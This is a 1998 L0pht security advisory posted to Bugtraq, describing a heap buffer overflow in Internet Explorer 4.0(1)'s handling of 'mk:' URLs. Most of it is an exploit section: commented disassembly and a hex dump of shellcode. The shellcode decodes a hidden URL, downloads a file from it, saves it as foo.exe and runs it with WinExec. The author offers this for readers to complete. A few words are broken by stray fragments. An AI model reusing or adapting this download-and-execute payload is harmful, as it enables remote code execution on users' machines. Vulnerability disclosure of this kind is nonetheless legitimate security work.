Date: Wed, 14 Jan 1998 11:42:53 -0500
From: DilDog <dildog@L0PHT.COM>
To: BUGTRAQ@NETSPACE.ORG
Subject: L0pht Advisory MSIE4.0(1)
Document: L0pht Security Advisory
URL Origin: http://l0pht.com/advisories.html
Release Date: January 14th, 1998
Application: Microsoft Internet Explorer 4.0(1) Suite
Severity: Viewing remote HTML content can execute arbitrary native code
Author: dildog@l0pht.com
Operating Sys: Windows 95 and Windows NT
-------------------------------------------------------------------------------
========
Scenario
========
TAKE TWO!
The Microsoft Internet Explorer 4.0(1) Suite, including all programs supplied
with it that read and/or process HTML from either local machines, intranet
machines, or remote internet machines are subject to a buffer overflow in the
HTML decoding process. The buffer overflow can cause the application to page
fault, or in the worst case, execute arbitrary precompiled native code.
Unlike the res:// bug, found a few months ago, this bug _does_ affect
Windows NT as well as Windows 95.
It has also been reported that this bug affects Internet Explorer 3.0 if
you have Visual Studio (VC++/J++ etc) installed on your system. Though this
may be true, and if so, exploitable, there has not been exploit code written
up for it.
Currently, sample exploit code has been written for:
Windows 95 OSR1 and OSR2 running IE4.0 or IE4.01
Systems known vulnerable:
Windows 95 OSR1, OSR2 running IE3.0x+Infoviewer, IE4.0, IE4.01
Windows NT Workstation/Server running IE4.0,IE4.01
=======
Example
=======
Much like the res:// overflow, this bug can be seen in action by clicking on
a link -or- having the browser auto-refresh to a URL with the executable
code in the url. Please look at the L0pht Advisory homepage for this bug for
a detailed example of the problem.
=================
Technical Details
=================
The problem here lies in the deciphering of the URL line format itself. The
base HTML library that is used by the Internet Explorer 4.0 Suite and the
following programs are vulnerable:
- Outlook Exp
ffb
ress (both mail and news)
- Windows Explorer
- Internet Explorer (different than regular explorer, really)
This problem, because it stems from a programming flaw in the HTML decoding
system, is unaffected by the Explorer "Security Zones" feature. In other
words, if you turn on the highest security level for the zone from where the
exploit HTML is being viewed, you are still vulnerable.
The critical problem here is a buffer overflow in the parsing of a particular
new type of URL protocol. The "mk:" type of URL is meant to access
proprietary Microsoft 'InfoViewer Topics', as exhibited by the InfoViewer of
Visual Studio, and the Help System of IE4.0(1).
For example, the URL for the Microsoft IE4.0 help system is:
mk:@MSITStore:C:\WINDOWS\Help\iexplore.chm::/iexplore_welcome.htm
The buffer overflow is not a standard stack overflow, but rather a _heap_
overflow. This complicated coding exploits, but is, nonetheless, do-able.
========
Solution
========
Currently, there is no solution available for this flaw. You can't set any
Internet Explorer options to avoid it, and you are not protected by any
level of zone security. Simply don't surf the web, read email or view
net news using Internet Explorer 4.0(1) until Microsoft puts up a hotfix.
============
Exploit Code
============
Ok. This time, I'm going to assume you know something about stack overflows
and writing generic buffer overflow scripts. If you're lost already, then the
rest of this sure as hell ain't going to make any sense to you.
The exploit code overflows a buffer on the heap, overwriting a few critical
heap variables and, eventually leaving the EIP at a ridiculous point in the
middle of URLMON.DLL ready to crash, unless you, bold coder, know what to
stuff in those registers.
Turns out that when you overflow that heap buffer, you can stuff a value
right into EAX. This is important, because the critical code section that you
reach looks like this:
(URLMON!.text+)
014F:702A365E 8B08 MOV ECX,[EAX]
014F:702A3660 50 PUSH EAX
014F:702A3661 FF5108 CALL [ECX+08]
(Incidentally, all the addresses here are for DLL's provided with IE4.01
not IE4.0. The code is similar for IE4.0. Just different offsets. Onward.)
You need that CALL [ECX+08] to jump to something useful. The place where
it jumps is to a location in URLMON.DLL (or was it MSHTML.DLL, I forget.)
that has an instruction that looks like CALL ECX. To get the NULL bytes and
things in the right places involves a little finagling of the string using
%00, and the null-terminator of the URL. It's really fun. Trust me.
After that CALL ECX happens, your EIP points to a piece of code that is
in your exploit space. Then, just jump to the beginning of the exploit code
and start having fun. I used CALL to save a byte. (Who cares about the stack
now anyway? You've already blown it to hell.)
Ok. Here's it. (Described in terms of IE4.01)
Commented disassembly: (starting at mk:@ivt:cDc/...)
> Skip over the jump tables
0057CC7C: 3BC0 cmp eax,eax
0057CC7E: 7468 je 00057CCE8
> blah blah blah
0057CC80: 90 nop
0057CC81: 90 nop
0057CC82: 90 nop
> Jump tables start here for WININET.DLL functions
> WinInet Function addresses:
>
> (dated 9/18/97) IE4.0 (dated 11/18/97) IE4.01
> InternetOpenA 0x702120B9 0x70211817
> InternetOpenUrlA 0x7021949F 0x70219345
> InternetCloseHandle 0x7020422B 0x7020422E
> InternetReadFile 0x7020E2DC 0x7020E3C4
0057CC83: BFE9E7DE8F mov edi,08FDEE7E9 (InternetOpenA)
0057CC88: F7DF neg edi
0057CC8A: FFE7 jmp edi
0057CC8C: BFBB6CDE8F
ffb
mov edi,08FDE6CBB (InternetOpenUrlA)
0057CC91: F7DF neg edi
0057CC93: FFE7 jmp edi
0057CC95: BFD2BDDF8F mov edi,08FDFBDD2 (InternetCloseHandle)
0057CC9A: F7DF neg edi
0057CC9C: FFE7 jmp edi
0057CC9E: BF88C741E0 mov edi,0E041C788 (InternetReadFile)
0057CCA3: D1EF shr edi,1
0057CCA5: FFE7 jmp edi
> End WININET Jump Table
0057CCA7: 90 nop
> Start Kernel Offset Table for Win95 OSR 2 (no bad characters/nulls/otherwise!)
> Win95B Function addresses:
>
> WinExec (0xBFF9D330)
> _lopen (0xBFF773FB)
> _lclose (0xBFF98283)
> _lwrite (0xBFF9CDE8)
> _lcreat (0xBFF9CDBE)
> ExitProcess (0xBFF8AECD)
> GlobalAlloc (0xBFF74904)
0057CCA8: 30 D3 F9 BF-FB 73 F7 BF-83 82 F9 BF-E8 CD F9 BF
0057CCB8: BE CD F9 BF-CD AE F8 BF-04 49 F7 BF-
> Start Kernel Offset Table for Win95 OSR 1 (no bad ones here either!)
> Win95A Function addresses:
>
> WinExec (0xBFF9D330)
> _lopen (0xBFF773FB)
> _lclose (0xBFF98283)
> _lwrite (0xBFF9CDE8)
> _lcreat (0xBFF9CDBE)
> ExitProcess (0xBFF8AECD)
> GlobalAlloc (0xBFF74904)
0057CCC4: F8 CF F9 BF-B7 72 F7 BF-CF 80 F9 BF-B0 CA F9 BF
0057CCD4: 86 CA F9 BF-B0 AF F8 BF-04 49 F7 BF-
> blah blah blah
0057CCE4: 90 nop
0057CCE5: 90 nop
0057CCE6: 90 nop
0057CCE7: 90 nop
0057CCE8: 90 nop
> check windows kernel version by querying random byte that happens to
> be different in the two versions. Also, set up ESI to be a pointer to
> the kernel offset table for the correct version.
0057CCE9: BB8BFFF7BF mov ebx,0BFF7FF8B
0057CCEE: 2AFF sub bh,bh
0057CCF0: 8BF5 mov esi,ebp
0057CCF2: B032 mov al,032
0057CCF4: 3803 cmp [ebx],al
0057CCF6: 750E jne 00057CD06
0057CCF8: 33C0 xor eax,eax
0057CCFA: B05F mov al,05F
0057CCFC: 90 nop
0057CCFD: 03F0 add esi,eax
0057CCFF: 720E jb 00057CD0F
0057CD01: 90 nop
0057CD02: 90 nop
0057CD03: 90 nop
0057CD04: 90 nop
0057CD05: 90 nop
0057CD06: 33C0 xor eax,eax
0057CD08: B07B mov al,07B
0057CD0A: 90 nop
0057CD0B: 03F0 add esi,eax
0057CD0D: 90 nop
0057CD0E: 90 nop
0057CD0F: 90 nop
> ESI is now a pointer to the first function the the appropriate kernel
> offset table. Now, we need to decode our 'data segment'. Do so, by XOR'ing
> (ADD'ing) each byte of the data area with 0x80. This prevents people from
> seeing what we're doing, as well as keeping out null characters and bad
> stuff in the exploit string.
0057CD10: 33C9 xor ecx,ecx
0057CD12: 66B95D01 mov cx,0015D
0057CD16: 03CD add ecx,ebp
0057CD18: B238 mov dl,038 ;"8"
0057CD1A: 800180 add b,[ecx],080 ;"Ç
0057CD1D: 41 inc ecx
0057CD1E: 4A dec edx
0057CD1F: 75F9 jne 00057CD1A ----
0057CD21: 90 nop
0057CD22: 90 nop
> It becomes clear where we're going :)
> Let's allocate some memory. 65535 bytes to be precise.
0057CD23: 66BAFFFF
ffb
mov dx,0FFFF ;"__"
0057CD27: 52 push edx
0057CD28: 33D2 xor edx,edx
0057CD2A: 52 push edx
0057CD2B: FF5618 call d,[esi][00018]
0057CD2E: 8BD8 mov ebx,eax
> Ok. Now we go ahead and call InternetOpenA and keep that Internet handle
> in EAX. Why do I call this function twice? I don't know. I was debugging
> and I never took it out. NOP it if you want. I don't care.
0057CD30: 33D2 xor edx,edx
0057CD32: 52 push edx
0057CD33: 52 push edx
0057CD34: 52 push edx
0057CD35: 52 push edx
0057CD36: 90 nop
0057CD37: 6681C25D01 add dx,0015D
0057CD3C: 03D5 add edx,ebp
0057CD3E: 52 push edx
0057CD3F: E83FFFFFFF call 00057CC83
0057CD44: E83AFFFFFF call 00057CC83
> Now we call InternetOpenUrlA, getting us ready to download a file from
> the net into that buffer we allocated
0057CD49: 33D2 xor edx,edx
0057CD4B: 52 push edx
0057CD4C: 52 push edx
0057CD4D: 6AFF push 0FF
0057CD4F: 52 push edx
0057CD50: 6681C26501 add dx,00165
0057CD55: 03D5 add edx,ebp
0057CD57: 52 push edx
0057CD58: 50 push eax
0057CD59: E82EFFFFFF call 00057CC8C
> We then go ahead and call InternetReadFile, downloading 65535 bytes from the
> net and into the buffer.
0057CD5E: 8BD5 mov edx,ebp
0057CD60: 83C230 add edx,030
0057CD63: 90 nop
0057CD64: 90 nop
0057CD65: 52 push edx
0057CD66: 2BC9 sub ecx,ecx
0057CD68: 6649 dec cx
0057CD6A: 51 push ecx
0057CD6B: 53 push ebx
0057CD6C: 50 push eax
0057CD6D: E82CFFFFFF call 00057CC9E
> Call _lcreat, and make us a place to store what we downloaded.
0057CD72: 33D2 xor edx,edx
0057CD74: 52 push edx
0057CD75: 6681C25D01 add dx,0015D
0057CD7A: 03D5 add edx,ebp
0057CD7C: 52 push edx
0057CD7D: FF5610 call d,[esi][00010]
> ok, call _lwrite and write the buffer to the file.
0057CD80: 8BD5 mov edx,ebp
0057CD82: 83C230 add edx,030 ;"0"
0057CD85: 8B12 mov edx,[edx]
0057CD87: 52 push edx
0057CD88: 53 push ebx
0057CD89: 50 push eax
0057CD8A: 8BD8 mov ebx,eax
0057CD8C: FF560C call d,[esi][0000C]
> Close the file with _lclose.
0057CD8F: 53 push ebx
0057CD90: FF5608 call d,[esi][00008]
> Now run what we downloaded by calling WinExec!
0057CD93: 33D2 xor edx,edx
0057CD95: 42 inc edx
0057CD96: 52 push edx
0057CD97: 6681C25C01 add dx,0015C
0057CD9C: 03D5 add edx,ebp
0057CD9E: 52 push edx
0057CD9F: FF16 call d,[esi]
> And go ahead and kill the Internet Explorer process. It's pretty
> bung'd out by now, and if we don't kill it, it will kill itself :)
0057CDA1: FF5614 call d,[esi][00014]
> The rest of this is left a
cec
s an exercise to the reader, and is really only
> worth about 5 minutes of staring at. (Though it took about 5 or so hours to
> come up with!) Basically, you just gotta play around with your debugger
> and work those registers. Be clever, and you'll get something like this:
0057CD98: - - -2D 2D E6 EF
0057CDA8: EF AE E5 F8-E5 80 E8 F4-F4 F0 BA AF-AF F7 F7 F7
0057CDB8: AE EC B0 F0-E8 F4 AE E3-EF ED AF FE-E4 E9 EC E4
0057CDC8: EF E7 AF E9-E5 B4 DF ED-EB AF E6 EF-EF AE E5 F8
0057CDD8: E5 80 AD AD-AD AD AD AD-F3 9A 57 25-30 30 2D 2D
0057CDE8: 2D 2D 2D 2D-2D 2D 2D 2D-2D 2D 2D 2D-2D 2D 2D 2D
0057CDF8: 2D 2D 2D 2D-2D 2D 2D 2D-2D 2D 2D 2D-2D 24 25 26
0057CE08: 27 28 29 2A-2B 2C 2D 2E-2F 30 31 32-33 34 35 36
0057CE18: 37 38 39 3A-3B 3C 3D 3E-3F 40 80 81-82 83 84 85
0057CE28: 86 87 88 E9-E8 4B FE FF-FF C0 74 F7-8A 2F 27 70
0057CE38: DB CD 57 22-3E 0D 0A 57-68 65 6E 20-79 6F 75 27
0057CE48: 72 65 20 72-65 61 64 79-2C 20 63 6C-69 63 6B 20
0057CE58: 68 65 72 65-2E 0D 0A 3C-2F 61 3E 0D-0A 3C 2F 63
0057CE68: 65 6E 74 65-72 3E 0D 0A-3C 2F 62 6F-64 79 3E 0D
0057CE78: 0A 3C 2F 68-74 6D 6C 3E-0D 0A 0D 0A-0D 0A 0D 0A
0057CE88: 0D 0A - - -
> Phew!
Anyway. The short and long of all that disassembly is this:
1. It downloads a <64K file from the internet (any URL)
Using the current firewall and proxy settings...
2. It saves it as "foo.exe" on your desktop (probably)
3. It runs the executable.
4. To see which URL it is downloading, just XOR the tail end of the
exploit string with 0x80's.
Hope you caught all that.
------------------------------
A haiku:
Strike two for I.E.
Common buffer overflows
Is that all of them?
dildog@l0pht.com (01/13/97)
-------------------------------------------------------------------------------
For more L0pht (that's L - zero - P - H - T) advisories check out:
http://l0pht.com/advisories.html
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH
